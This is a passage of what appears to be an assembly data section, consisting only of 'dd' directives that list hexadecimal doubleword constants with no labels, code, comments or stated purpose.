0FB1B494Dh, 94872D4Eh dd 2FEE3BD7h, 4720E338h, 2F2C6ED2h, 93835391h, 83052847h dd 0A9ACE387h, 757232D6h, 292FA1D8h, 64218F7Bh, 999BDA86h dd 0ED64BC35h, 0E18A21F3h, 2D04654Ah, 0DD6BE74Eh, 40016B4Dh dd 95765F1h, 136C4C8Dh, 0B9D4FBE1h, 45EA2971h, 0A917DF88h dd 39BAB954h, 185DF563h, 8BC0BBF0h, 0AE7AE63Ah, 0D8BAFC67h dd 5D624C62h, 0DEAE2B59h, 46BDDD88h, 0DA50F7AFh, 3F1BD3EFh dd 0B3F978C4h, 47B07789h, 0EEE7B61Dh, 65B91D41h, 1CF3383Ch dd 3731D787h, 49268CF3h, 0FBC33415h, 1E8FE657h, 4F70CEADh dd 8BBE4F96h, 0F04EA382h, 4C4A6614h, 4C5F15F4h, 53DCAD23h dd 70CCDF6h, 3F53EE5Ch, 0AC1A226h, 8A5EA8D9h, 0D56603h dd 0A2AD810Ch, 82ED3AB2h, 0ECEC2FF3h, 0C652E822h, 3E984B44h dd 0EA5FB2A9h, 44C04AD3h, 0B3BBFB5Fh, 5AB1F6F4h, 30FC05EDh dd 0C7195738h, 0CC7041A5h, 0E4768D5h, 0FFD38E16h, 896270E9h dd 91A5B304h, 0E069D8Dh, 70761337h, 480A971Dh, 0C32798E8h dd 0BCBDDC94h, 6D6ACF6Ch, 0C47F2D15h, 0A6078C44h, 0DCDA4E8Ch dd 0FC4D8379h, 46D7EF50h, 0A3BA4573h, 9566165Fh, 7E6ECBC5h dd 9EC728F8h, 83EE7E4Dh, 0A844926Ch, 46068999h, 243791A4h dd 0A9DE34DAh, 10892BF7h, 60B4B6EAh, 7D8842D0h, 0B22F1D4Ch dd 5ABF55C2h, 5E5588E4h, 0C24B1701h, 0F360955Dh, 8F14640Ch dd 0EE946A08h, 0AB53B74Fh, 0B535B65Ch, 9DAF6214h, 3EC53139h dd 1B567838h, 3F52F165h, 0CB1D0659h, 86E9FE7Bh, 236F415Eh dd 0AF3522D5h, 9F05636Ch, 212AD236h, 81FDA3CEh, 620A0E07h dd 0B87EA55Fh, 130BA2C9h, 894D7653h, 7E4072BBh, 0D420894Fh dd 2B83B14Bh, 0F2E1AEC0h, 0F624C389h, 0B175F86Ch, 7E344BEEh dd 57D60D44h, 765805F9h, 0CBEAF2D6h, 0AF542328h, 2D54FF41h dd 916679D3h, 3E01FF4h, 0DB1C1311h, 31D29F13h, 0B259C575h dd 0DB74EE46h, 1FC2637Dh, 0B05D9291h, 0D50D7671h, 5D6E2F75h dd 6FEF5D1Ah, 8D26AA08h, 634B24FFh, 83EBF0A8h, 0D62DCE9Bh dd 61E65C4Bh, 0BA25C04Fh, 0FEAE2FC2h, 0C7F897C0h, 473C3DADh dd 352A11BCh, 9AB8D318h, 0CD58B8B2h, 0F6F6312Ch, 0FB915C81h dd 92CB4B68h, 92979545h, 0A69862DFh, 884E2AE1h, 422BF9DAh dd 51A56618h, 7688AB7Eh, 0FBF077BFh, 6D5AB38Ch, 134E383Ch dd 667CC60Bh, 25DF81FDh, 92D68573h, 1DB0D8EAh, 0D0825975h dd 4EBD565Fh, 269E833Dh, 8724AACDh, 855C48Fh, 9A9F0AD1h dd 0AB9DF2BAh, 0F84B3607h, 93E5ACCEh, 8B47D964h, 0A9029D30h dd 0B9397515h, 366DB617h, 78F185D8h, 0CEBB31DBh, 97F47F8Fh dd 0DC082587h, 0C3AE726h, 0BD83317Fh, 0DB74E573h, 1A5804B7h dd 16BEEBAEh, 55DDCC4Fh, 5F68532Ah, 931A90C6h, 6010041Bh dd 0DC25193Eh, 48BF61C5h, 0FBB55084h, 4F951703h, 0B5A26DEBh dd 838FB8CCh, 42A487BAh, 49E98CB8h, 0D32A4BABh, 2ABE3BAAh dd 0C221CCB9h, 4B13AE91h, 6D1E0867h, 0FB5EF5D4h, 2DF6AC04h dd 8508ED7Eh, 4F4E6B65h, 868F59AEh, 79BE41B2h, 0C52624EBh dd 5CB5B035h, 4E07E1BDh, 0AF83BCDCh, 48A61EFBh, 0B716B2DDh dd 5A861B0Eh, 7B888D6Ch, 88E07EBCh, 0E79F5B54h, 0E132126Dh dd 0A9B37AEAh, 3D08CEAAh, 0FDE8CDFBh, 0C456E42Dh, 0E2BEAD0Fh dd 8BAF5712h, 0A5928A75h, 2CFC4D9Bh, 160A186Ch, 19D7111Eh dd 421CAE62h, 0B5594542h, 3F3DD654h, 934D8260h, 12FE51ECh dd 0CB9FE897h, 8BAF8EBCh, 8654E504h, 0EEDEB3DBh, 2EBAEF5Bh dd 37867312h, 0CAB7B7A3h, 45781EEAh, 53C52FB3h, 5B7A5480h dd 56399667h, 549EA457h, 0DA527CD6h, 3B9CB83Ch, 4593E9A9h dd 520B7ACFh, 72B107D3h, 2E11FD85h, 0E8446029h, 85A72BE6h dd 0DB7F8B29h, 380B45D5h, 768A924Ch, 0DFB9606Ah, 1039A12Ch dd 305F547Bh, 0E2EE1EAFh, 8F268726h, 147B602Bh, 2FDBF3FBh dd 285A58AAh, 0FFAE83E8h, 938F0729h, 0ED166712h, 1BCCAED5h dd 0B6D30C9Dh, 2493A92Ch, 75C929DBh, 7F1629EFh, 12A27360h dd 0E95DB5F2h, 0D3B4FE66h, 0D5482A67h, 966A79B7h, 0E8D0DE65h dd 9CA66323h, 51B6AF3Ah, 46AD8DFBh, 236D978Bh, 37AB55C4h dd 0A443EA47h, 3211C6A6h, 0F396D565h, 7BC9CED5h, 0A9AE8CDEh dd 86A61C1Ch, 0C0F021Fh, 1CD72A35h, 4A2FAA4Dh, 816D2ED0h dd 2F666167h, 0EFD0C602h, 8CEA3360h, 5778DF3Bh, 2FE0D0A4h dd 0A7A8FA9Eh, 0DAE3CF75h, 8AA7DBECh, 3FECD52Ch, 1E0ACED5h dd 285F4FBBh, 0FE7BC6A7h, 557ABD8Ah, 0D50F94FBh, 8843625h dd 71896C45h, 0D7FED5E9h, 0FBA3E2F7h, 7A4B3E2Ch, 0E58FC12Dh dd 0B03C446Bh, 6F75B1D7h, 0C6B9ED6Dh, 0FA4EE22Fh, 0C962F6F2h dd 0F8200975h, 5E0D4F4Fh, 5EB1371Eh, 373CBAE4h, 8BAAE6A4h dd 0CD22D8D0h, 0FE45AD4Ch, 3BD6D3E6h, 0EB43ED1Fh, 82704A60h dd 52B94A82h, 6ACB9044h, 799B9228h, 72BD2689h, 26730450h dd 0ABCFAE6Eh, 9D738798h, 695BB301h, 84B9319Dh, 60D52FCFh dd 73461977h, 0F87F1A71h, 0BF5E1F51h, 0FC63F51h, 0F72671h dd 0EFA45CAAh, 67C50334h, 0B9FE41CEh, 9F5374ADh, 39B8EEF4h dd 34AA0583h, 0B341CF78h, 7F40FB71h, 636BF144h, 0FD2B98C3h dd 0E573B753h, 0ABE58C01h, 78E64A6Bh, 137A6D36h, 0FF7C1025h dd 0DF97DDECh, 168B89A5h, 0D4266079h, 0EDD4EE35h, 0F21B1AA9h dd 0CCCB331h, 0CFA7BACh, 5795D946h, 5A538723h, 3B8BCB62h dd 0F4536172h, 5C9D617Fh, 41CF83FBh, 5F6CDE1Ch, 0C7A99F27h dd 0BDE02A5Fh, 0A61290D9h, 2B546158h, 217F50BEh, 2F5A2C4Ch dd 0C7A24B3Ah, 91E6650Dh, 6A2C1FE4h, 0AE3370A4h, 27EADD6Eh dd 1DF9825Eh, 0BE3ADF72h, 0BAA5457Fh, 0DA9AFC0Fh, 1AFEE194h dd 0F4DDEC42h, 0E5AF79E8h, 959B5AF4h, 35D37B66h, 0DEC83F8Ah dd 29FCD6A3h, 927A6B11h, 7FBB86E6h, 0DA71082Fh, 0F9E52BD1h dd 0E53B42C0h, 0A4F1119Ah, 59EFC3h, 1AE2653Bh, 0D0BDF77Bh dd 0D5A34h, 0E9646BABh, 68B00EE7h, 4E4E4B3Bh, 2957F0A8h dd 0E515A817h, 3177E975h, 50C9B866h, 0F796CA07h, 0D9108B7Ah dd 3F23CAC6h, 0AE6541B0h, 6A4B3208h, 0B658D565h, 796EE18Eh dd 4EE4A6CAh, 0CD37E381h, 983CD55Dh, 0DBEB5A3Ah, 2EF0E599h dd 62CE71F2h, 71CC312Ah, 50070C3h, 2B490E65h, 4AA66747h dd 46D66ADAh, 493BD57Bh, 0B124A6A4h, 0E931D75h, 58773F03h dd 0A54A2BE2h, 0C4C5FBE5h, 96DE5D9Ch, 0CE019425h, 2B61E335h dd 4BC58CDFh, 363CCC3Fh, 0B89791CEh, 0CDD1A16Bh, 35C307Dh dd 0B1D5F820h, 2B6FE883h, 62B248D1h, 91C4A062h, 8E53ACFAh dd 141F65D3h, 0D1DF3509h dd 0B84F0546h, 0FF77B567h, 0C1414921h, 9F86C311h, 6D179242h dd 0F5D3EBD3h, 76D817DEh, 0A1143378h, 0DC69808Ch, 7E3CB54h dd 62FA4856h, 7B7AA0A2h, 0C4AB85CDh, 521F3D66h, 0EE2E92A2h dd 2AE2B478h, 0AE0B8333h, 0CAF7B8CAh, 0A2E8F8B4h, 0D295D216h dd 4BBF6C2Bh, 0A9678A42h, 0CBB7C49Fh, 0ADB12D11h, 0DA808324h dd 744858DDh, 3323FA53h, 0F523DF48h, 525964E5h, 0D4CE749Bh dd 9455E333h, 341493DEh, 0C7685A41h, 92B3B756h, 19295F2Dh dd 6715247Ah, 0E0F9FBF0h, 9878986Bh, 3D6D55A4h, 0AD946E7h dd 2FD0AFBCh, 9A974BC6h, 61994619h, 15D8B547h, 0CBFE3D4Ch dd 0BC20C0AFh, 78AC0853h, 695F5F30h, 0D675A4D3h, 73330B17h dd 87E087BBh, 0D75825C6h, 33FAE118h, 0D8909149h, 0DA1737ADh dd 6FBD9492h, 0F1E0F95Ah, 0B81F3E67h, 0DB9AF3E2h, 776A3486h dd 8D3C1F8Eh, 0C7B8C729h, 0D6F0375Ah, 0A35D68CCh, 0F653BB82h dd 130EADEAh, 7D36339h, 8E9E03EDh, 4D7BCFD0h, 7D36A701h dd 0EE3142CFh, 0CFB646E8h, 81687C17h, 146675C1h, 6482A789h dd 0CAD236FAh, 0E16B57E4h, 91926096h, 46B2C7DDh, 7D1C5F48h dd 57EA48A1h, 0AB773CDEh, 1A4068BCh, 7F549CBAh, 1695BBDCh dd 0BE199D27h, 0DB125FD9h, 0C02BEB4Ch, 96BE0DF7h, 74F1B2D8h dd 9863EF32h, 0CA9486DAh, 0C1E0A7EAh, 6DBC7D28h, 0CCF678F5h dd 42299F44h, 0AC084C28h, 28902D91h, 0DF0F275Fh, 39572C40h dd 0F7C83BF9h, 6AA085E6h, 0D7FB370h, 0ADEFBA44h, 0C98AED1Bh dd 1D11C12Eh, 0FF928C3Fh, 0C9AB978Eh, 0BF33FAAAh, 2A528061h dd 0B41507A8h, 3455AD53h, 2AEBBE53h, 968B6ACh, 0D28B1146h dd 6BDD782Dh, 0DBF0D535h, 2936FD4Eh, 0FBD0DA45h, 0BC736F1Fh dd 0B7F8856Fh, 0D9E5C1B5h, 0B1D0B541h, 8C889D6Bh, 1599F687h dd 0FEC0B1CBh, 0DF6EDBF1h, 0B263F5EDh, 56012AD0h, 0B1BB179Ch dd 0DCA7AF74h, 0F24EEBF2h, 0F7B764D9h, 0D4F10E71h, 0FD431F3Bh dd 107F27DEh, 176A3B55h, 0FBCCC01h, 17CBD053h, 0C3F65825h dd 0CC0BF70Fh, 0DCE5774Ah, 0DF4C2DECh, 1C7D0506h, 0C7D19D34h dd 0D665E2A5h, 0E14A5081h, 0CE63815Ch, 0AAD62FA3h, 0CE0FB53Eh dd 0DDB87A9Fh, 47D53579h, 4C5582Bh, 7CB777B9h, 7F9C69E3h dd 406FA099h, 0BB05D2D1h, 86DA29ADh, 38E31576h, 0E28BAA0Eh dd 0A9BC22E4h, 0AD0A92AFh, 824A1B3Ch, 151808A7h, 0ED16A322h dd 0B0EBC2F0h, 737BAA8Fh, 117FA60Ah, 35E7BAD9h, 72C2BE5Ah dd 2C33CCBBh, 0A37824Bh, 5E7DDB09h, 0CC243BC9h, 0BCE5EE01h dd 3F3F9DA5h, 993F6CB0h, 0D5D805CFh, 0CE0A95F0h, 0FA467E29h dd 6D109789h, 2A9EAB05h, 70A68EFEh, 0F215E046h, 0F70EFD1Dh dd 0C4BEA9ACh, 0CFC2CB51h, 5F5DD56Bh, 7E51229h, 0D7F3A9BEh dd 446D63EDh, 0CAF565FDh, 0CA739CF9h, 0A7BDAC41h, 377A5749h dd 759A1C83h, 0F2AA151Dh, 0A615B1D3h, 222B368Bh, 0CEF64061h dd 0D23CDCA1h, 94A7E819h, 1068D61Bh, 0EB275206h, 0AB3AC550h dd 0CA91B92Eh, 0F1C4B5B0h, 0ED15215Ch, 9F548D5h, 393C6CA4h dd 45470AC2h, 8789E04Eh, 5609FB3Ah, 2B9B42BAh, 337FFCD9h dd 8BDD7C05h, 0E7F7D988h, 61AB844Ah, 773957EAh, 0BC1AB2FDh dd 152A6730h, 0A8348263h, 0AC8123E0h, 0E65BDF2Dh, 0A036C93Ah dd 17691B96h, 4AEA7756h, 441BA648h, 8E96D75Bh, 99710DBDh dd 0A95DFED0h, 95726E26h, 86D82125h, 3727336Dh, 0B2F15539h dd 469A4ED5h, 6EF03768h, 0DEDEC7F8h, 38B95795h, 0A53B49CDh dd 87D1931h, 0BE0E8F9Bh, 0F7786BE6h, 531CD8A3h, 0E1C67F29h dd 0BD9D7F6Eh, 51E05CCEh, 1F7A1B51h, 87E3F297h, 6F05890Eh dd 0BD93656Dh, 0CBACF1F5h, 0FE701517h, 77EA578Fh, 0EEC2D4AEh dd 0E8259EA9h, 4979256Ah, 0E5D6F07Dh, 0D139B533h, 27F664FAh dd 0C3B731D8h, 9480DCF9h, 732D1912h, 1E54CE16h, 0B5174B09h dd 0EEBB486Fh, 62D23B09h, 0B30A4C89h, 78585A21h, 8FD174D9h dd 2631A973h, 2FA9DE01h, 725A5A15h, 6D063EDFh, 36F62C51h dd 0EF3079BEh, 16907E18h, 8B440AF7h, 55B22631h, 0F449C0B8h dd 39021231h, 16872D38h, 0E0968E09h, 1AAF98F1h, 0F44344D8h dd 9B758A58h, 308DA8AFh, 7DAD5F76h, 0AA7CF4F9h, 0C25A14D1h dd 0EA26CD2Ah, 0B3533EDCh, 56906DBDh, 0F93929D0h, 6A453B12h dd 0B8894450h, 2E1B4ED1h, 0BB81DE35h, 76B75776h, 4E5DE1CCh dd 1AB8F69Fh, 0DE870F57h, 139DA80Dh, 0FF54F423h, 6E3DA419h dd 0EA59EB02h, 7E04B1CDh, 0F4FA1C24h, 3520151Dh, 28C17B72h dd 0AF962462h, 44B87F22h, 0EE1D81D8h, 53111492h, 2328D9CEh dd 2C4AF1E9h, 35ACE9DBh, 0A88F9C3Dh, 6550235Fh, 77493795h dd 8DCF5D27h, 0FC514B3Ah, 0F5F064E4h, 0F7E7908Dh, 5C743C5Bh dd 865EF9B0h, 55EE53D9h, 9B2D262Bh, 3F851F89h, 96A98810h dd 90A0A239h, 0F4B2E5DAh, 372DCED4h, 1FBF8D41h, 98EBF6D5h dd 0C2CD4F77h, 0E2F072ABh, 82AB8A87h, 8E4C0E08h, 0B32F41B7h dd 6944FB90h, 29164578h, 0D1663294h, 17015BA7h, 2475AE12h dd 0EEAD5ADFh, 783F08DAh, 5F91C09Ch, 60B0AE68h, 19C9AD82h dd 221AC5FDh, 0E0A2CC37h, 0AE7D32FDh, 0E1DA59F0h, 0AE5063BDh dd 0D20DAE7Ch, 0CFA3B78Dh, 17037554h, 712E8276h, 0CEF2E444h dd 3CB7FC69h, 0EF03AF2Bh, 2D68D8FAh, 0CECCA99Bh, 0C8259E52h dd 552F9C52h, 7CE5025Fh, 0FC9EE9F7h, 31649C52h, 6ECB964Fh dd 71260309h, 253A156Fh, 544E1561h, 0DA2FEAAAh, 4597B89h dd 19AF647Fh, 0AC19ACB0h, 7A1D24B1h, 0A85BFDAAh, 7EFC3416h dd 0AF0B3B65h, 0C5FC848Dh, 0A39CF5BFh, 0DF4F133h, 0E0FDB26Bh dd 7E0FD758h, 0BC9C5736h, 5D728AF6h, 2C4E1C30h, 0D3FFD7FBh dd 0BBE291Ah, 0E2EB08FCh, 0E79B5C4Eh, 0A3E017A3h, 0E45355C8h dd 772774D8h, 40D3D753h, 0A8FAF589h, 52868773h, 0B2600768h dd 8D65FFD1h, 0D5190120h, 82AB0711h, 20D554Ah, 0BB946F2Bh dd 0B943BAFEh, 988874F7h, 33A0A998h, 81DBF55Ah, 0A44F9CC8h dd 0D609AB61h, 4DD5A8D7h, 976268CAh, 92D00E41h, 0B958CD6Ch dd 25998BF9h, 0EA57CC9Eh, 0A90C54B2h, 24C967FAh, 74D8C616h dd 0F6881B7Ch, 0F95712B3h, 654181A2h, 0EAC51D43h, 0A2DF2432h dd 5C5044A8h, 53364BF8h, 59BF3CCh, 37DB2A4Ch, 9429D8CAh dd 7719498Bh, 0D53EBBDDh, 89E1C247h, 9629C501h, 0BA3B3B4Fh dd 2847D2AEh, 2FC27751h, 0D73C7C1Ah, 687933A5h, 7C41ED5Bh dd 7130DA06h, 0D1BDECD9h, 1772C17Dh, 0B9BF9A25h, 8D43FFA0h dd 7A0E212Ah, 0A16C5AE6h, 0E3CE7D7Fh, 0BD09B197h, 4741E650h dd 0AD7F7Eh, 0F55A1F58h, 0F603CE11h, 0C9C6D058h, 0BE83B6C7h dd 0FE72E5F7h, 0B897CBFEh, 0F9414E70h, 5F2D2C3Ch, 45E976FBh dd 12D95BEBh, 0ED91561Eh, 9010237Eh, 3080D444h, 0B0E57A78h dd 0FAD2CD12h, 89D71D4Fh, 0E107FCAEh, 66079BF2h, 0CB6D97DBh dd 4593E569h, 8A3AEDE2h, 763C35DDh, 62311D8Dh, 8AAABBCBh dd 81B4704Eh, 0C4BF4E69h, 8C21253Fh, 7AE2E002h, 0ADC192B9h dd 2FFFEB2h, 4AC0F359h, 193C08ADh, 0D19F4EBh, 0E55E8AC3h dd 0EB1F9688h, 99DF5683h, 3CA42E2Dh, 3129287Eh, 0FBF7C954h dd 354CE425h, 0DF213C11h, 6AED3290h, 9EDDF8C8h, 7BE0CE25h dd 73128135h, 27F8017Fh, 4C8FC869h, 26E65965h, 52479D79h dd 0AC573C84h, 0E13377E0h, 0A557B55Ah, 4FFA7202h, 5BEF1E1Ch dd 0E671D0A8h, 0B45EE5C1h, 79BB2F21h, 3C5A50C6h, 490DB532h dd 5795354Eh, 0C2EFD9D7h dd 8D02B324h, 0E0F8A90Eh, 6BBCD17Ah, 7D1868A1h, 8C62A23h dd 1338EB71h, 2F8D4B6Ch, 7B515766h, 0ACE36A9Bh, 0B68BAF8Ah dd 2E6D2807h, 33AA4BAAh, 0BBC8C681h, 8B685CB5h, 86FEF40Fh dd 55CAFAF9h, 0C5814778h, 361CF54Fh, 0E6611B86h, 0EA3FAA02h dd 85163BA5h, 2D3A025h, 722359EEh, 9CA2EA7Eh, 312541E7h dd 7C1E7FBEh, 97037471h, 0D2391CC5h, 6DA5E583h, 0D97FCAC7h dd 61DE24D2h, 5437D923h, 0C4C4436Fh, 8DE417FAh, 81BA21F8h dd 6BCA7958h, 25E791C0h, 0E454CC92h, 0EAA45DB3h, 81BC1490h dd 1B32271Fh, 751BE9B1h, 0EED1D1F9h, 0D109FF3Fh, 0C6219C55h dd 903FB1B2h, 25710BB7h, 4C4BE918h, 5CF0536Eh, 0BE03C17Bh dd 0F0990B3Eh, 1DD40EE0h, 17815B4Eh, 8697CF86h, 0F9F42F68h dd 0AF6BA997h, 535BF191h, 251534E7h, 0E31C38C5h, 254ACB2Bh dd 4605DD4Fh, 0AB5E9CEAh, 17779297h, 133F7B48h, 3EF6C006h dd 152EEF62h, 0EB8E256Ah, 0DA5E42B1h, 83C0DA2Ch, 0EF6E7D97h dd 0CA508E0Fh, 0C52D62CFh, 5D5133CFh, 0C0FA69Eh, 0D8F73F13h dd 228620BCh, 6A56C021h, 5CD4BC14h, 74EE7E88h, 15C7F3D9h dd 82EEDA27h, 2E368206h, 0A7136E37h, 0ACACAA46h, 0FBBE5467h dd 0C93414CAh, 524A5928h, 50FF5262h, 157DBF84h, 5D865ED6h dd 2B59119h, 4B48AC51h, 0BE83AE8Bh, 3FD5A272h, 51CC4345h dd 0F598B85Eh, 0BD7EA73Fh, 0CBFA2FC9h, 8CBD7A87h, 632170FCh dd 0FC60A9A4h, 279B99A1h, 0E9E06D2Bh, 8B42733h, 52DB7ED5h dd 78952569h, 0F26FC678h, 2F404546h, 0FC375C6Dh, 0D2221478h dd 9068CC92h, 90D9324Ch, 851C84AFh, 0E313CD4Fh, 143DBA18h dd 0EF1EE175h, 92EBC89Bh, 75E1F783h, 8A2B378Dh, 0D51AAB31h dd 6D2A7287h, 0D8A83596h, 5F2085D6h, 4DDF4765h, 0EB73F674h dd 75930550h, 2E75BD15h, 5B8304AEh, 8E3483F7h, 46ABA65h dd 44E898FDh, 58D724BEh, 0A9ADE25h, 0AD6DFB33h, 6303A29Ch dd 0E68BA380h, 0F5B45894h, 18EDE2CBh, 38844CAAh, 69037C43h dd 97FC6555h, 0B34EAAF2h, 0A948B323h, 0D4CDC37Ch, 0E00AD8C8h dd 10AB6A02h, 0A0A06CE1h, 995A9E17h, 0A548D165h, 1D794550h dd 41B11C48h, 3AC7E6DDh, 5F610472h, 3696B135h, 0B5BD392Ah dd 395A930Dh, 9F330E0Fh, 5635B8AAh, 6ADBF879h, 0B3FE52FFh dd 3DE9E5A3h, 1B6B554Dh, 0A0EBBC7Bh, 0ABE09E57h, 6D145AD8h dd 257CEA54h, 0E5565D44h, 0ECAC558Dh, 8DCD1F8Fh, 1E64F35Ch dd 0C09C2A7Fh, 0D997B0A1h, 4559399Bh, 0BE1691F0h, 0B07C7B93h dd 73D18A24h, 0B629E5B9h, 0EB3A1E0Fh, 0D31A0FC5h, 5D37EB8Eh dd 0C9EEACBDh, 18167EAAh, 9D5966DDh, 2423BB46h, 0BF7C64CCh dd 3BA088B2h, 19822768h, 2B5E209Bh, 0A3E2A449h, 4ADF2861h dd 0BB1598F3h, 81434F1Bh, 0B77E796Ah, 46F5F038h, 0A504AC5h dd 3E912D16h, 0DC85F1EFh, 0AB45B5E6h, 0DC4D1F0h, 0A033844Eh dd 7CBBB2AFh, 0C599DD17h, 4CEBEED5h, 25D51463h, 3FA4ED3Eh dd 0CB9BB1C2h, 6B7FE063h, 0D143BF7Bh, 1C6374A7h, 425F9DECh dd 4594A0BCh, 0D2A2EDB5h, 68486275h, 4CC9E31Ch, 7FD55A11h dd 45F03CC1h, 52735A8Fh, 0A467B8DBh, 0C5C29C1Eh, 892F0D9Bh dd 5C787396h, 78436FEDh, 0FB6831B0h, 784FB8B5h, 0A3CDA5CDh dd 0C0F9B43Ch, 0D2D6BD73h, 58D5ADB5h, 0E50312FEh, 4A1D4ADCh dd 0F3BB46FAh, 259A1D5Ah, 10741B85h, 0F7CD0B97h, 11774654h dd 0D9F0E2Ah, 1F7EE78Eh, 0AB23AEBAh, 3FAA846Fh, 9FD3665Ah dd 0DDD5B2F9h, 0EB2B51EBh, 73F89A1Ch, 9948E063h, 0A42FCC95h dd 6C76B31Ch, 61F89B87h, 0CBFCFEEFh, 1579CD7h, 0A5DBC8B9h dd 3CB03060h, 4689D764h, 0AC49633Bh, 858C04A3h, 97D6D6B6h dd 0AD137595h, 0C6959BDAh, 0CDDE1D6Fh, 2D9D5E5Fh, 989CA850h dd 40C1E2E6h, 175A371Eh, 5F7AF6FEh, 3895156Ch, 3815BCF8h dd 1D153C54h, 20EA4CE4h, 89F060B9h, 6B36CE47h, 0C37578EBh dd 283AA245h, 69704B63h, 0BDA17710h, 0F51FF0BAh, 194CBACAh dd 0DAD5EC7Bh, 0EE2022D7h, 1CD1B959h, 0F32AB74Ah, 0B14E6586h dd 120DE7BEh, 14F23436h, 6CBDB939h, 0C81BA2D4h, 0A1D58114h dd 124EA898h, 53B91133h, 297DD178h, 3C0D6B6Ch, 0D0FF1285h dd 0AE653912h, 0BF8974F5h, 5F33157Ah, 0DA0F48C3h, 285A0776h dd 0A0DF3AF4h, 236F3EF6h, 77968F6Ah, 85CCC819h, 3ECEF5AEh dd 17E7EF23h, 77BDA2FDh, 6E1BC511h, 18AB3723h, 95C39452h dd 0F7EB2B6Ah, 4C1EC978h, 0CEFA0157h, 942A2881h, 4D9BDCEAh dd 0DD777A56h, 3A15D06Dh, 7CBF69FBh, 45C7ADEEh, 70AEA2E9h dd 0B647B7DBh, 0FCE30F3h, 0D65508E3h, 40E5552Ah, 4113CD69h dd 6EE1A8F9h, 0EB742029h, 608552A4h, 46BC0CA6h, 3E6324B9h dd 9459DB97h, 298078D2h, 50DF2C4Eh, 6C368691h, 5454D0B9h dd 0BDAB5FB3h, 72A6100h, 9ECE439Bh, 7247168Bh, 6F8B2DEAh dd 79E33DB2h, 6C06B089h, 6ED7D0FCh, 0EB7ABEA4h, 0A32070CDh dd 6946F824h, 0F7566D3Bh, 594C8B6Fh, 98978846h, 1575936h dd 0CBF11FB3h, 7CDDCBEFh, 9A7EEB7h, 9F61294Fh, 0B5B6BCE8h dd 41545AC6h, 66BCFE1Dh, 740A9416h, 5EAD98C3h, 0A6B9E4D2h dd 8C882C52h, 57620585h, 88BF0696h, 9365CBE9h, 46207DDFh dd 315F34BBh, 8B03490Ch, 0E1518139h, 0E38BBF81h, 69D5B09Ch dd 9B2BA994h, 5F9F54C9h, 51F48166h, 9EA75213h, 0BD8D0FDAh dd 0D8409352h, 75A23C9Fh, 0B25255FBh, 0AB17397Bh, 0FF837EAh dd 8BFA4786h, 3C7AE065h, 0E6B574DDh, 0C229FE6Eh, 174BE2D6h dd 342809D7h, 7AF41AE9h, 0A9F36326h, 6C536A12h, 763A9204h dd 0D9E4E84Ch, 0B78EC6FBh, 0E730A8C1h, 0D4E62EAAh, 26519015h dd 0BEBB72DBh, 7AC23226h, 0B9BF3155h, 0DC250A4Fh, 0F2604F82h dd 257A9DD0h, 8C69CAE5h, 252EE9CFh, 5D0EFB6Ch, 0B1E77A55h dd 747AAD2Ch, 716D7CC4h, 9168DB94h, 2550BF92h, 9ADDEFF4h dd 609DEAD2h, 0FBF5AA64h, 96F572D0h, 1AE99D60h, 0B8F15FADh dd 7D6CF68Ah, 0F9837699h, 0B0A73F15h, 0F5AF2AA7h, 5CE939CCh dd 419AD030h, 0D3AC4A9Eh, 0DBB3A0BEh, 0DA3CC479h, 0A090F748h dd 86C48FA4h, 0FAEE4C0Ah, 0A5ECCF1h, 227964F6h, 52D9166Bh dd 4BE17094h, 8C42EFDCh, 1C7A92C2h, 5E8553A5h, 35510F7Ah dd 0C65291F3h, 29AF334h, 2CD26592h, 1DDD391Fh, 8ED40FA2h dd 0E8F5DD22h, 0AE5AAB79h, 99FCFB2Dh, 7CF9CC5Ah, 1D02E355h dd 0EF04094Ch, 0C3C31BFAh, 0ADF7C50Eh, 8BD9B465h, 0D9F75FCAh dd 0DBE50FABh, 6E3128CFh, 0FE81A8A9h, 9FDA5F0Eh, 0A00BC25Fh dd 0C38B4CE5h, 2A236AEFh, 36F29658h, 0D8551064h, 0C967FE11h dd 9389816Bh, 4106026Eh, 0FC4DD857h, 0AD72A117h, 0A43F6EFFh dd 0AAAB549Ah, 3BE405E4h, 34CA1B0Ah, 0A8DDD2CCh, 698CBC39h dd 32BA3D01h, 174AB74h, 35323FBFh, 2E28D21Ah, 794C7825h dd 63A4DD35h, 0D0312E4Ch, 0E1F5E728h, 771A0B87h, 7F421F76h dd 98F5BD32h, 0A5F968F8h, 6FDF517Fh, 1048305Bh, 4D325006h dd 4F711D39h, 5AA2C772h, 79FBF45Bh, 0CE15B7F7h, 0BFE4758Ch dd 341EEDC6h, 65779993h, 7DC22EECh, 0E4602466h, 25BD4A83h dd 614BABCDh, 63738AE2h, 0A16AFDFBh, 0B4AE168Ah, 0DB8266E8h dd 4A6347CDh, 9DB92A94h, 34AA3E69h, 0E7C29A36h, 0D447AA10h dd 6BB5FDADh, 24E15752h, 0BDB6930Ah, 0C0F147D5h, 2C24A12Ah dd 0AB46A19Bh, 0F13C05F5h, 0F37691C3h, 0C730A689h, 0A9C00850h dd 0B07BDAF9h, 0BFDBF238h dd 857F8C20h, 4F82E928h, 0A8CF589Fh, 3C6DFB3Eh, 39DA829Dh dd 572A560Dh, 99196A29h, 0AC712D33h, 0B2BB8D1h, 0A3BCB575h dd 0C265FDE1h, 299A35A4h, 5D46E81Bh, 0DD6FADCBh, 87E0760Fh dd 0C67EE358h, 62A42EE6h, 0D1BB537Bh, 0F3AAEFCh, 0B64237CCh dd 0EF070DDCh, 8BCA540Ah, 595E61Fh, 0CE44D583h, 84BAA3B1h dd 0A89E6884h, 0AA6D082Dh, 71136BB5h, 0BFAAE56Bh, 0D81E58ACh dd 0D7ABD55h, 0EC6E3DE3h, 5574A42Ah, 0F731B066h, 28A8A8DDh dd 536E449Fh, 8DC6DB6Dh, 0DD78D5AAh, 511FA1E2h, 41E0D42h dd 2A98C332h, 0FB1614B2h, 7B70FBEAh, 0D9FD77F9h, 63414D3Eh dd 173631F9h, 524ABE33h, 3B54CA88h, 8495BBCFh, 12275560h dd 0E572E256h, 2711E90Ah, 0B5D0C6C2h, 0E0CE6411h, 6B46717Ch dd 0DA946CBCh, 37CE1329h, 0E312EEA9h, 5E1DBE0h, 13E6B604h dd 7478FE8Dh, 0D3A5B308h, 89882D2Fh, 0F4DC2FE8h, 7E8D129Eh dd 7C92BA64h, 0AFCCFF45h, 0CFC55AC2h, 0D4DB8ADDh, 0F5A5A0A3h dd 0BF187CE8h, 2FB5C925h, 534B6C0Fh, 9CEC25EBh, 0EFE8F0EBh dd 0A8E11F5Dh, 0AAADB46Eh, 2A9D166Ah, 48A87290h, 7AADA337h dd 0ED146D5h, 